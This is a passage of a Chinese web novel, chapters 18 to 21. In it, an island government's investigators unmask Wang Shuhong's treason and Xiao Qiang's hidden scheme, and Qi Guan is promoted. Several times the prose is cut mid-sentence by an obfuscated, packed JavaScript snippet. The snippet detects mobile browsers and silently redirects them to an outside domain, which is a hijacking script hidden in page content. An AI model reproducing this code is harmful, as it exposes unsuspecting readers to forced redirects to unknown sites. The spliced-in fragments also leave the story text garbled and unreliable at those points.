王漫平梗着脖子嘴硬道:“铁证如山!任凭她有天大的背景也翻不了案,早点认罪大家都轻松。” 钱章气得把王漫平往旁边一推,回身从值班员桌上抓了钥匙,快步向电梯口走去。 层数越升越高,钱章的心也提到了嗓子眼。顶层密封的暗室不仅无声无光,而且外层直接受太阳照射酷热难耐,简直是心理和生理的双重折磨,一般人连两个小时都抗不过。 从齐观被捕到现在已经过去大半天了,她一个小姑娘怕是要晕死在里面! 钱章急吼吼地从电梯门里迈出来,可眼前的场景却让他举着钥匙的手一刹那僵在了半空。 正在走廊里吃盒饭的齐观看见一身病号服的钱章也是一愣,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064776|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举着筷子问:“钱司令,你这是……” 钱章挠了挠头,看了看齐观,又看了看暗室。他用手一指暗室问:“你不是应该在里面关着呢吗?” “哦。”齐观低头把饭盒左手捯右手,又从屁股底下抻出一张纸,“认罪书,我嫌屋里热就直接签了。” 钱章扶额,他真是被多吉那个臭小子传染了,老周明明跟他交代过不用担心齐观的。 “行,那……”钱章刚想随便交代两句就走,却发现走廊长凳上还坐着一个陌生的女办案员,也和齐观一起端着饭看他。 钱章更疑惑了:“你是?” 办案员用手里的筷子一指齐观:“我是看押她的。” “啊,行……”钱章又用脑子过了一遍眼前的场景,如果问号是雨滴,他的头顶应该在下局部暴雨。 “不是?她认罪了你怎么不跟你们队长说啊?”钱章终于意识到了问题所在,连自己的立场都忘了。 “这案子和她没什么关系吧,而且您不是来放她的吗?”办案员的眼神在钱章的脸和他手里的钥匙间来回游移。 钱章现在怀疑自己被驱逐舰上的栏杆撞傻了。难道他往侦查队安排过人,然后自己忘了? “您的微表情已经印证了我的猜想。”办案员笑着解释道,“这位嫌疑人从被抓就是一副等着被放走的样子,签一张能让她判死刑的认罪书,比写自己的电话号码还轻松。所以我猜事实一定不像队长说的那样。” 办案员的笑容增添了些恶趣味:“至于您,就更好猜了。” 钱章眯着眼睛板起脸问道:“你叫什么名字?” 办事员瞬间紧张了起来,她也是想瞎了心了,连总司令都敢逗。她连忙起身答道:“回司令,侦查二队办案员谢心白。” 钱章的眼神充满了审视,他围着谢白心走了一圈,看着她越来越慌的脸色,心里这才没那么不平衡了。 “谢心白是吧……”钱章故意放慢了语速,从钥匙串上摘下了一个普通牢房的钥匙扔给了她,然后朝电梯口大步走去,“我记住你了,王漫平那个草包的位置马上就是你的了。” 突如其来的升职加薪直接冲昏了谢心白的头脑,齐观笑着对她说:“恭喜你呀。” 谢心白坐回凳子上,看着重新闭合的电梯门还是一脸的不可置信。 “对了,谢谢你帮我拿的衣服。”齐观指了指自己身上那件崭新的囚服,她对这位心思细腻的办案员还是很有好感的。 “不客气,举手之劳。”谢心白连忙摆摆手。 齐观又端起盒饭说:“先吃饭吧,一会儿还有的忙呢。” 钱章回到了一楼,正准备把钥匙串往桌子上一拍直接走人,却听见王漫平正冲着电话大声嚷嚷。 “什么?档案中心没人?住处也没人?那他能去哪儿啊?”王漫平急躁地看着大门踏着脚掌,手工牛皮皮鞋踩在地上“啪嗒啪嗒”地响。 “都回来翻监控!挨个摄像头地盯!岛上就那么大点地方,那个姓周的还能长出翅膀飞了不成?” 姓周的?钱章瞟了一眼王漫平,直接出门向皮卡车走去。 “慢走不送啊,钱司令。” 钱章背对王漫平冷哼了一声,一个靠着高层势力的废物就敢这么嚣张,更何况是这些年明里暗里的掣肘,他可真是受够了。 “喂,老周。”钱章“砰”的一声带上了车门,“事情办完了吗?办完了我让人去接你。” 18. 第18章 午后,王漫平带着几个站得七扭八歪的办案员围在了一栋居民楼门口,几人的制服穿得是一个比一个松散,领口都敞开着透气。 王漫平得意洋洋地提溜着扩音喇叭站在前头,他吃肉,也得让几个弟兄喝点汤,好在论功行赏的时候沾光。 “周文涛!要是识相你就自己出来,别让我挨家挨户搜你!” 查监控的时候,王漫平看见周文涛走进了这栋高档住宅,还奇怪他那点工资怎么买得起,一查登记的住户果然没有周文涛的名字。 不过周文涛毕竟工作了二十几年,就算是个看档案的也该存下点人脉了。 王漫平也不敢真的挨家挨户搜,毕竟他自己也住在这栋楼里,若是搜了怕是要得罪不少人。反正跑得了和尚跑不了庙,他先在楼底下喊够了,把事情闹大些,也算出个风头。 正当王漫平这么盘算着,却看到有人押着周文涛走了出来。 见那人穿着机动队的衣服,王漫平直接急了:“是不是钱章派你来的!他偷听了我的电话让你来抢功劳是不是!” 白玛扫了一眼王漫平:“不服就来司令部,我先带人走了。”说完把周文涛押上了车。 白玛坐进驾驶位,说:“抱歉,刚才得罪了。” “没事。”周文涛拿出钥匙自己开了手铐,“做戏当然要做全套。” 王漫平看着扬长而去的皮卡车,跳脚骂道:“你给我等着!我现在就去找人!” 他怒气冲冲地来到了秘书处办公室,推门就嚷道:“姐!钱章让人把周文涛押走了!” 王淑红闻言心中一喜,这不正说明她伪造的那些证据已经蒙混过关了吗? 王漫平伸出手在王淑红眼前挥了挥:“你发什么愣啊姐!再不去抢人这功劳不就落不到我头上了吗?” “你放心。首长都发话了,这个案子肯定是你的,谁也抢不走。”王淑红缓缓起身,勾起的嘴角透着十拿九稳,“你不是说肖副首马上就要转正了吗?我这就去请她,给你做个见证,一会儿你可要好好表现啊。” 两人径直去了同一层的首长办。首长的办公室已经封存不用,如今门上都积了一层浮尘,王淑红只是往门上瞟了一眼,便扭身敲上了对面肖蔷的办公室。 敲了几声,里边却没有回音,王淑红加重了手上的力道,却听见门缝里传来了轻微的呕吐声。 “蔷姐?”王淑红轻轻推开了门,“我进来了啊,蔷姐你没事吧?” 卫生间传来冲水声,肖蔷出来看见王淑红,神情略有些不自然。她轻轻用手背蹭了蹭嘴角说:“没什么,中午吃坏东西了。找我什么事?” 王淑红蹬着高跟鞋走到办公室正中央,笑着说:“钱司令怕是不知道首长已经把叛岛案许给了漫平,已经把周文涛给扣下了。我这人微言轻的怕是去了也不管用,刚好首长说这话的时候您也在场,就请您出面做个见证吧。” 人微言轻?肖蔷微微挑眉。 安塔岛面积不大,但却是麻雀虽小五脏俱全。各部门的运行都少不了要和上下协调的秘书处打交道。手里握着全岛最紧密关系网的人,居然说自己人微言轻,肖蔷不免觉得有些好笑。 可这案子毕竟牵连甚广,肖蔷多少也想听听这结论,便道:“好,我跟你们去一趟。” 三人来到了审讯室,王漫平一把推开大门,见钱章坐在外面的观察间,身后还围着几个机动队的人,周文涛则已经坐在了里屋的审讯桌旁。 只不过钱章正翻着资料,似乎不着急审问的样子。 “来了?还挺快。”钱章吹着一口手里的热茶,瞟了王漫平一眼,并没有起身的意思。 “钱司令,你这事办的可不地道啊。现在当着肖副首的面,你该……” 还没等王漫平说完,钱章把茶杯往桌子上轻轻一磕:“拿下!” “唉!你们干什么!”王漫平看见直朝着他过来的士兵人都傻了,“钱章你疯了是不是?抢人就算了,你抓我干什么?” 王漫平连连后退,可士兵连看都没看他一眼,径直朝他身后的王淑红走去。 王淑红猝不及防地被一左一右地架住,大脑一片空白,还是王漫平先反应过来,大声向钱章质问道:“难道你现在抓人连证据都不需要了?我再说一遍这个案子首长已经交给我办了,马上带着你的人离开这里!” 审讯室的门再一次被打开,齐观推着轮椅上的首长走了进来。 “都到齐了。”首长向钱章微微颔首,“开始吧。” 钱章一挥手,士兵便将王淑红押进了审讯室,饶是王淑红反应再慢,此时也已经明白自己被看出了端倪。可她实在是想不明白到底是哪里出了纰漏,只好先强装镇定,看看对方要出什么牌。 周文涛起身,向她面前摆了三个证据袋,证据袋的东西里正是王漫平今天早上摆在齐观面前的。 王淑红一看就冷静了下来,如果只是这些旧证据,那她完全没有担心的必要。 她靠在椅背上,故作轻松道:“你们未免也太不客气了吧,问个话而已,至于搞这么大阵仗吗?” 周文涛没有说话,伸手把全岛地图的照片推向了王淑红。 王淑红瞟了一眼便轻笑着说:“是,地图确实是我给齐观的,可那又怎样?我是为了协助机动队设置新的监控点位才给她的地图,我可没有让她趁机拍了照发给亚伦啊。” “机动队对地图的使用优先级远高于其他部门,而你却让齐观把给档案中心的地图拿去监控室,这不会太多此一举了吗?”周文涛撑着桌子,俯视着王淑红问道。 “你说这个啊。”王淑红十分有底气地拿出她早就想好的说辞,“我也很快意识到这样确实是有些不妥,当天就派人给机动队送了一份。你是不知道北美这些人给我增加了多少工作,忙中出错也是有的。” 周文涛对她这套说辞早有预料,他否认道:“不,你是为了让她和监控点位扯上关系,好给你从王漫平那里得来的点位信息打掩护,还能让她有私存地图的嫌疑,可谓一箭双雕。” 王淑红嘲讽地笑了笑:“周主任,刑侦并不是你的老本行,你怕是不知道推测是不能当证据用的吧。” “别着急啊,这只是你暴露的第一步。”周文涛又敲了敲那张地图,“这三个证据中只有这张地图不是经齐观的手送到亚伦那的,因为地图的信息太多,你没有办法用特殊手段隐藏在她送的东西里,只能另想办法。” “你怎么能确定不是她送的呢?”王淑红反问道,“现在证据链完整,她的说辞怎么能当真呢?” “我当然能确定,因为她就是我送去你身边的啊。”周文涛直接揭晓了谜底,“只可惜,我们排查了你在工作中接触到的所有人,并没有查到什么线索。你确实很小心。” 王淑红死死盯着周文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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齐观抬手拽下了发绳,盘起的长发倾泻而下。她把手掌摊向王淑红,映入眼帘的除了发绳,还有那枚从亚伦上衣口袋里消失的微型引爆器! 王淑红只觉得后脑被敲了一闷棍,仿佛粗重的圆木撞到洪钟之上,只不过敲响的不是警钟,而是丧钟。 见王淑红如此颓丧,王漫平也傻了眼,升官发财的美梦还没做热乎就破灭了,这会儿他满脑子只想着怎么把自己撇清才好。 刚才还在耀武扬威的姐弟俩,现下如同坠入冰窟,观察室里眼瞧着这一切的钱章心里不知道有多痛快。 想趁他躺在病床上先下手为强?门儿都没有! 钱章憋着笑又拿起了茶杯,然而冷气开得不够足,这么半天茶还是没凉下来,直接给他舌头烫出一溜泡。 “噗——” 钱章一个没忍住把茶喷了出来,两位首长一齐转头盯向他的眼神如芒刺背,他连忙吸溜着舌头招呼白玛说:“别愣着,快给领导倒茶。” 审讯室内的气氛可就没有外面那么轻松了,王淑红面如死灰道:“知道齐观的履历之后我还以为是天助我也,没想到这把好用的刀竟是你削尖了递给我的。好心机啊周文涛,早知道当年就不把你调到档案中心了,而是该造个实验事故直接让你消失。” 周文涛脸上并没有什么波澜,而是提醒道:“你错了,齐观这把刀是我削尖的,但并不是我递到你手的。真正递刀的另有其人。” 周文涛缓缓转身,目光透过玻璃墙:“你说对吗?肖副首。” 19. 第19章 全场的目光都聚焦到了肖蔷的身上,而她只微愣了一瞬便笑着说:“真是无巧不成书啊,周主任。没想到我顺手的安排竟然帮了你这么大的忙。” 周文涛阴着脸走出了审讯室,直面肖蔷道:“高档住宅区迁居和中高层人员裁撤这两份名单里,有大量重叠的人,这极大地激发了第一代岛民及其子女的不满。我岛的各项政策虽然有在逐步削减他们手里的权力和利益,但一向都是缓缓而治。以你的工作能力,不应该犯这种错误吧。” 肖蔷闻言逐渐收敛了笑容,略微加重了语气道:“据我所知,档案中心存档的只有已经执行的政策,而裁撤名单目前只在初审阶段。周主任用一份还未生效的名单来质问我,似乎没什么道理,更不是你的职责吧。” “那如果是首长让我查的呢?”周文涛脸色铁青地说。 “这样啊……”肖蔷压低了眉梢,许久才抬头看向周文涛,平静地开口:“那你又查到了什么呢?” “为保证各部门正常运转,所有高级领导每年都会例行体检,报告则由档案中心存档,方便病情跟踪。去年,你查出了中度胃溃疡,而今年的报告却没有了这项。我仔细留意过,你并不像是痊愈了的样子,所以我提审了你的主治医师。”周文涛顿了顿,神色黯淡了下来,语气也不再那么强硬,“胃癌中期,对吗?” 肖蔷并没有否认,反倒轻笑了一声说:“还真是有劳周主任关心了。” “如果我没猜错的话,你担心死后没有人庇护你的女儿,便引诱王淑红犯下叛岛的大罪,已达成减少平民数量,增加人均资源的结果,好在你死前给肖薇安排好一切。我说的没错吧。” “是,也不是。”肖蔷的语气依旧平静,“无论王淑红做的事成与不成,岛上都将会有一个阶层的利益受到重创,而北美也不再是威胁,届时肖薇的生活都会得到更好的保障,不是吗?” 周文涛有些惊讶于肖蔷的坦率,他本以为肖蔷会矢口否认,毕竟一份没有效力的名单根本算不上什么证据,但让他更没想到的是,现在的局面竟也在她的算计之中。 面对一个已经进入生命倒计时的人,他竟不知道该劝她也什么,可他还有一个疑问一直萦绕在心头。 “以肖薇的年纪明明是能被选入飞船计划的,你却在一年前让她放弃走研究这条路,把她调去我那儿领了一个闲职。当时你就没有给我一个理由,现在可以告诉我了吗?” 肖蔷没有回答周文涛的问题,而是目光深沉地看向首长。首长微微移开了眼神,没有与她对视。 “没有理由。如果非要说的话,我不希望她和我一样,辛苦了一辈子,却什么都没有得到。”肖蔷苦笑着说道。 周文涛激动地攥紧双拳,喊道:“不可能!我们从小相识,又一起共事了这么多年,你根本就不是一个自私的人!十五年前的那场海啸,是你带领着队伍一次又一次开船返回灾区,不知疲惫地下水救人。你还收养了那个伤重的孩子,给她改名叫‘肖薇’,这么多年一直用心教养她,工作更是兢兢业业。我绝不相信你会为了一己私利去伤害别人!” “可事实就是如此,人总是会变的。你也不是曾经那个只知道埋头搞实验的周文涛了不是吗?”肖蔷神情中竟有些释然。 周文涛听到这样的回答,心中只有无尽的失望,他愤愤道:“你怎么就能确定一切真相大白之后,你所做的一切不会牵连到你女儿呢?” “今天就先到这吧。”首长出言打断了他们的对话,她深深地叹了一口气,好像要把心底的疲惫都呼出去,“量刑的事情等所有相关人员全部落网之后再定夺,先都带下去吧。” 一直在旁边装空气的王漫平见士兵拿着手铐朝自己走来,立马闪身绕到李竞阳面前,陪笑着恳求道:“首长,您看这案子实在是和我也没什么关系,我是被我表姐利用了啊。没有功劳也有苦劳,总不能因为我一个误判就连我一块儿抓啊。” “误判?”首长冷笑了一声,“你在这个位子上给多少犯了事的高官,打了多少掩护,怕是你自己都记不清了吧。进去好好交代吧。” 王漫平吓得直接跪了下来,士兵拽起他带上了手铐。手铐的冰冷让王漫平终于认清了现实,他哭丧着脸朝审讯室里骂道:“王淑红!看看你自己做的好事!到头来要把我害死了!” 王淑红也不甘示弱,挣开一只胳膊指着王漫平的鼻子嚷道:“好你个王漫平!有你好处的时候上赶着巴结我,现在倒想撇清了!这么多年看在亲戚一场的份上,我可没少照顾你!我真是瞎了眼,怎么帮了你这么个蠢货!” “都带走!”钱章大手一挥,“把他俩关隔壁牢房,让他们吵个够!” 两人被拖拽着离开了房间,狗咬狗般的争吵声响彻整条走廊。 饶是这场面,连肖蔷都忍不住轻笑了一声,她从容地伸出双手道:“我就不搞这么难看了。” 士兵上前给肖蔷戴上了手铐,架上她的手臂准备带人离开。 肖蔷平静地走向洒满阳光的走廊:“竞阳姐,让你失望了。” 李竞阳回头目送着肖蔷离开,在场没有人看到她的表情。 周文涛狠狠心说:“首长,我知道这些年你培养肖蔷下了不少心血,可如果轻判的话是起不到警示作用的。” “我心里有数。”李竞阳转头看向钱章,“德里克被关在哪?我有事要问他。” “我带您去。”钱章立马扶着椅子扶手龇牙咧嘴地站了起来。 “你快歇会儿吧,不是凌晨刚回来吗?”李竞阳也是奇怪钱章今天怎么毛毛躁躁的,她看了一眼谢心白身上的制服,“小姑娘,你是侦察队的吧。你带我们过去吧。文涛,齐观,你们俩跟着一起。” 钱章却十分积极地走上前,身上再疼也装作没事人一样:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众人来到了房间门口,李竞阳自己操控着轮椅按键进了门,并说:“钱章你留在外面和这位新队长交代一下工作吧。毕竟等裁撤结束之后,侦查队也算是你手下的部门了。” “啊?”钱章还没反应过来就被齐观顺手关在了门外,看着身边等着安排工作的谢心白,他心里是一句准备的词都没有。 他摸了摸渐渐消肿了的后脑勺,抓心挠肝地想要说点什么打破沉默。 谢心白看着钱章这幅无措的样子,心里的坏水又荡漾了起来,她歪着脑袋微微一笑:“看得出来司令还没想好怎么安排我的工作,那我就先回去了。身体最重要,还是等你脑袋好一点了再想吧。” 谢心白灵巧地转身离去,钱章试图挽留的手僵在半空。 她说让他注意身体诶,钱章美滋滋地回想着谢心白刚刚说的话。不对!她是说他脑子不好! 钱章咬牙切齿地看着谢心白的背影:什么谢心白!她就应该叫谢心黑!谢心眼! 谢心白估摸着钱章已经咂摸过味儿来了,便扭头朝他调皮地笑了笑。 燥热的海风吹起走廊窗边的白纱帘,恍惚间钱章好像看到了一条白色的狐狸尾巴。身经百战的猎人不自觉地想要跟上前,就这样猝不及防地掉进了自己亲手布下的捕兽网。 20. 第20章 房间内,被铐在座椅上的德里克面对眼前的三人有些不知所措。 “我已经把所有我知道的都告诉你们了。你们已经答应了放我去暴露区,不会反悔吧。” 李竞阳见德里克有些紧张,便说:“我今天来是想再问你一些别的事。如果你能如实相告的话,临走之前,你还可以再带走一些食物。” 听了这话,德里克才重新安定了下来。 “你追随亚伦多久了?”李竞阳问道。 “十二年。” “那他有向你解释过他为什么要发动对南美和亚欧大陆的侵略吗?” “当然是为了抢夺资源。”德里克如实答道。 “难道北美洲没有进行人口限制吗?为什么会出现如此大的资源缺口?” “亚伦说他厌倦了节衣缩食的生活,反正地球要完了,干嘛不过得随心所欲一点。” “只是这个理由吗?”李竞阳又问。 德里克不明就里地问:“难道还需要别的理由吗?” 李竞阳没有回答,继续问道:“在我的印象中,你们的上一任长官雷蒙斯是一个非常沉稳、有远见的人,怎么会选择亚伦这样一个偏激的人作为继任长官呢?” “亚伦是雷蒙斯长官亲自选择的,这没错。”德里克拧眉回忆道,“而且在我心中亚伦一直是一个聪明果敢,非常有能力的人。然而在他当选之后,雷蒙斯和他进行了一次秘密谈话,从那开始亚伦就好像变了一个人一样,偏激冒进、充满算计。他甚至秘密毒害了雷蒙斯长官,提前夺取了政权。” 德里克迷茫地摇了摇头:“我完全不明白他为什么要这么做,明明再过一年他也是可以正常上任的。” 想到肖蔷的所作所为,周文涛有些遗恨地说:“也许他根本不是变了一个人,而是本性如此,只是巨大的利益让他暴露了而已。” 李竞阳并没有对周文涛的指桑骂槐做什么评价,而是答应德里克再给他七天的食物,并让士兵将他带回了卧室,独留他们三人在客厅。 太阳渐渐西沉,李竞阳看着窗外行人寥寥的街道缓缓开口:“文涛,我知道你不喜欢复杂的政治,当年排挤你的人马上就会被清除,也许你更想回研究所搞研发。可我现在确实无人可用了,副首长的位置除了你,我想不到别人了。” “首长,其实以钱章的年纪,他比我更有培养的价值。”周文涛没有立刻回绝,而是先提了建议。 李竞阳摇摇头:“钱章这小子领兵打仗是一把好手,可这么多年了还是有些孩子心性,我从没有在他身上动过继任首长的心思。” 见李竞阳如此坚决,周文涛只好点了头。 “至于秘书长这个位置……”李竞阳恳切地看向齐观,“我希望你可以接下。” 齐观不由得瞪大了眼睛,在来之前她就猜到可能又要有新工作了,可没想到会是这么重要的岗位。 不等齐观开口,李竞阳便抢先说:“我已经向文涛详细了解你的处事风格,这几个月你的成长我们都看在眼里。我知道你更向往宁静的生活,但在这座岛上,没有人能真正选择自己想要的路。” 齐观沉默良久,也许从那次袭击事件开始,她就注定无法远离这岛上的纷繁复杂。 况且对她来说,在同样的时间里,做一件事和做另一件事并没有什么本质上的区别。她并不是一个对生命有多少热忱的人。 齐观微微点头:“我知道了,我会试着做做的。” “你放心,有什么不懂的我们都会帮你。”李竞阳看向齐观的眼神充满慈爱与期待,“好了,时间也不早了。还有人在等着你呢。” 齐观没想到首长还知道她和多吉的事,她略带羞涩地朝李竞阳微微鞠了一躬,便急走了几步离开房间。 周文涛的脸上依旧愁云惨淡。李竞阳见状笑着说:“走吧,时间正好。陪我去看看夕阳吧。” 一出门,李竞阳就看见在楼廊里孤零零站着的钱章。 “那姑娘人呢?”她问。 “走了。” 李竞阳恨铁不成钢地瞪了一眼钱章:“走吧,你也跟我去天台吹会儿风,说不定还能开点窍。” 政府办公大楼是全岛最高的建筑,在天台可以将安塔岛的风景尽收眼底。 只可惜岛上每一寸土地都有它的用处,放眼望去尽是大大小小的白色立方体,顶上是黑压压的太阳能电池板,只有远处的海岸线还有些看头。 璀璨的夕阳给黑白色的岛屿镀上了一层金箔,李竞阳眯起眼看向远方,看着这片小小的却让她奉献了一生的土地。 她见身侧的周文涛还愁眉不展,便说:“我知道肖蔷的事你很难接受,毕竟你心里藏了她那么多年,我也不会劝你马上走出来。只希望你引以为戒,保持本心。” 周文涛也是四十多岁的人了,突然被李竞阳戳穿内心的秘密,不免有些尴尬。 “怎么?不好意思了?”李竞阳看出了他的窘迫,“你也算比较能装了,比蹲在地上的那个强多了。” 正蹲在地上,头冒粉红泡泡的钱章一听自己被点名,不好意思地用手掌搓了搓额头:“首长!您怎么这都说啊!” “这就不好意思了?当年我教书的时候,班里就你最淘气。还逼着班里的同学叫你什么来着,啊对,‘玉面小阎罗’。”李竞阳笑得前仰后合,仿佛连自己身上的病痛都忘了。 “老师您怎么!”钱章羞愤地抱住了脑袋,“咱不是说好不提这事儿了吗?” “你这算什么。文涛当年废寝忘食地做飞船设计,全楼都走空了他还在那熬鹰。举着个小夜灯到处走,说是要找灵感,结果给看门大爷吓得,还以为研究所里闹鬼了。” 钱章指着周文涛笑得跌坐在地上,又捂着摔疼了的屁股连连哀嚎。周文涛朝中指哈了一口气,趁机照着钱章脑门敲了一个狠狠的暴栗。 李竞阳把轮椅遥控到一边,由着他们胡闹。三人迎着夕阳笑得东倒西歪,好像又回到了年轻时候。 只可惜岁月不饶人,年纪到了也闹腾不了太久。两个暂时休战的“老男孩”一左一右地坐在李竞阳身旁,微风吹拂着她被夕阳染成金色的些许白发。 “人们都说‘夕阳无限好,只是近黄昏’,可正因时光飞逝,太阳注定西沉,人们才会觉得夕阳无限好啊。”李竞阳突然有些感慨,她看向周文涛,“你不觉得齐观和年轻的肖蔷很像吗?” 周文涛微怔,怅然点头。同样是在各种突发事件中快速成长的人格,怎么肖蔷就走上了和他们渐行渐远的道路呢? 李竞阳又叹道:“如果她父母的研究成果能保留下来就好了。” 夕阳最后的余晖照在了齐观的身上,天空是渐变的粉橙色。 她拖着疲惫的身体走到了宿舍楼下,想着先换身衣服再去看多吉,毕竟这身橘色的囚服实在是太惹眼了。不知情的路人还以为她是越狱出来的,害得她解释了半天人家才没报警。 齐观摸了摸咕咕叫的肚子,饿意再次袭来。她又琢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064779|163065||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 磨起再出门得先去食堂打些饭,医院的饭菜清汤寡水的,多吉怕是也吃不饱。 还没走到门口,齐观就急匆匆地摸出了钥匙。她刚要伸手开门,门就自己打开了,一只大手把她拉了进去,怀抱是熟悉的温暖。 “我好想你。” 骤雨般的吻落下,多吉吻了好一会儿才恋恋不舍地抬起了头,又把齐观紧紧搂进了怀里。 齐观轻轻拍了拍多吉后背,本想笑他明明早上才刚刚见过,却又想到遇袭那晚,她也是这样离不开多吉。 “我这不是回来了吗?”齐观本想再说两句劝慰他的话,可肚子又不适时地叫了起来。 哼笑声从多吉的胸腔传来,他不知从哪里变出来一个大大的油纸包,递到了齐观面前。 隔着一层纸,齐观就已经闻到了一股咸香味,她满含期待地一层层揭开油纸,见里面包着的竟是一大块酱牛肉。 岛上一年也就养那么十几头牛,这么一大块肉要是让她自己花钱买,怕不是比那头挨宰的牛还肉疼。 多吉见齐观已经馋得不行了,便先把刚打的热饭菜给了她,自己在厨台上切起了肉。 齐观坐在餐桌前准备大快朵颐,却想起多吉应该是刚出院就过来了,顿时有些愧疚了起来。 “你已经痊愈了吗?”她问。 多吉笑着打开小冰箱存了剩下的肉,又端着切好的一盘走来,贴着齐观坐下说:“终于想起我了?” 齐观点点头,但目光始终盯在那肉上。 多吉委身靠在齐观肩头,也不动筷,就静静地看着齐观吃。 “这次是不是遇到什么危险了呀?”齐观边吃边问。 “没……没什么危险的。”多吉摇头,脸颊轻轻在齐观颈边蹭过。 齐观撂了筷子,手指一点多吉眉心:“我可是听钱司令说了,从快沉的船里救人,还从直升机上跳下来。真拿自己当超人了?” 多吉没回答,只是把齐观搂得更紧了。 “我也会害怕的。”他轻声说。 “怕什么?” “怕我再也见不到你了。” 齐观的心突然软了下来。从刚懂事起,她便觉得困在这小岛上的人生实在无趣,独自长大的那些年只有静默的书籍陪着她。 可多吉不一样,他温暖、阳光、充满希望,又是那样热烈地爱着她。遇上多吉的齐观就像一瓶快要没气了的可乐加入曼妥思,好像又能焕发出新的活力了。 齐观时常想,若是多吉没有那么爱她就好了,相比之下,她的付出好像少得可怜。 “我可能……要去当秘书长了。”齐观小声说。 多吉抬起头,十分意外地看着她。 “忙是忙了点,只是住的地方会比这里大不少,工资也会高出许多。到时候我们换一个大一点的床,你不执勤的时候就可以过来好好休息。还能有个大些的厨房,要是能再有个浴缸就好了。” “你今天有些不一样。”多吉直直地看着齐观。 “哪里不一样?” “以前从没听你说过未来的事。” 齐观微怔,“以后……以后我会经常说的。” “那我还想听点别的。”多吉吻上她的耳朵。 齐观不知道为什么多吉总爱听些甜言蜜语,她一向是羞于开口的。 “你知道的。”多吉用头拱了拱她的侧脸,像是一只缠着主人要零食的大狗狗。 “……” “我……我爱你。” 21. 第21章 清晨,微弱的光线从厚厚的深蓝色窗帘边缘漫进来,屋内并不明亮。 这是齐观挑了好久才选的窗帘,好像漂在深海里,让人觉得很安静。 怪物袭击事件之后,齐观偶尔还会做噩梦,黑暗和多吉的陪伴多少能让她睡得更踏实一些。 今天醒得又有些早,齐观缓缓睁开双眼,偏过头看了一眼床头闹钟的时间,蹑手蹑脚地翻身准备起床。 “再躺会儿。”多吉长臂一伸,圈住了她的腰身,温热的嘴唇贴在她的后颈。 “不行,我今天事情可多了。”齐观在他怀里扭来扭去,试图挣扎开,可多吉偏偏要使坏,越箍越紧,还胡乱挠起了痒。 齐观艰难忍笑,轻拍多吉的手以示求饶,她哄道:“好啦,等我忙完这几天一定陪你。你再多睡会儿吧,司令不是给你放了一天假吗?” “哼,那你去忙吧。”多吉委屈巴巴地卷走了齐观身上的那半毯子,把自己裹成了一个大粽子,背对齐观不理她。 齐观哑然失笑,明明在战场上还能沉稳搏杀,私下里却像个小孩子。她趴过身去探了探多吉的额头,是高烧退后的透凉感,正是需要多休息的时候。 她煮了米粥,煎了两颗蛋,又切了几片牛肉,哄着多吉一起吃了早饭后,才匆匆出了宿舍楼。 屋外已是天光大亮,碧蓝的天上只飘着几缕薄云。 齐观盘算着先去找周文涛问问工作交接的事,却想起他昨天质问肖蔷时激动的样子,便猜测他们之间的情谊怕是不浅。若是他现在在档案中心,怕是不好面对尚被蒙在鼓里的肖薇。 思来想去,齐观决定先去首长办探一探。 时间还早,办公楼里没什么人,齐观依旧穿着鞋厂最普通的那种白球鞋,在光滑的地板上走不出什么声音。 她向首长办门口的接待员说明了来意,径直向办公区走去。果然见到周文涛在肖蔷原先的办公室里,整理肖蔷留下的文件。 周文涛见了不请自来的齐观也并不意外,他越发觉得她洞悉人心的本事和李竞阳如出一辙,连他都自叹不如。 “来,我正想和你说新旧两项工作的事。”周文涛示意齐观坐下,“北美舰队的事件是你全程跟进记录的,现在把从前涉密的部分加进去就算是完成了,以后史书编撰的工作会由我继续负责。” 周文涛转向身侧的电脑,边敲键盘边说:“秘书处承担着财务支持和项目协调等工作,在账目和人员调动上能做手脚的地方多如牛毛。这是我在肖蔷电脑中发现的一些疑点,你回去再仔细核对。如果有发现,就把证据交给侦查队,我们现在的首要任务就是从叛岛案中的案犯顺藤摸瓜,力求肃清安塔岛上所有尸位素餐的蛀虫。” 见周文涛如此严肃地谈工作,齐观犹豫了一下还是改了称呼:“好的,周副首。” 周文涛先是一愣,随即故作轻松地叹了口气,他摆摆手说:“还叫我老周就行了。别人不知道,你还不知道吗?现在我手里的工作是一件都不想干。” 齐观也笑了,原来自己不想上班这件事也是一脉相承。 “那我就先去秘书处了。”齐观起身准备离开。 周文涛点点头,叮嘱道:“对了,秘书处那些人你小心点儿,他们跟了王淑红那么多年只怕不是省油的灯。有什么不痛快的地方你看着处理,缺人就跟我说。” 齐观谢了周文涛的叮嘱,往秘书处的方向走去,这些她心里已有打算,只是没想到还没进门就听见了屋里的冷嘲热讽。 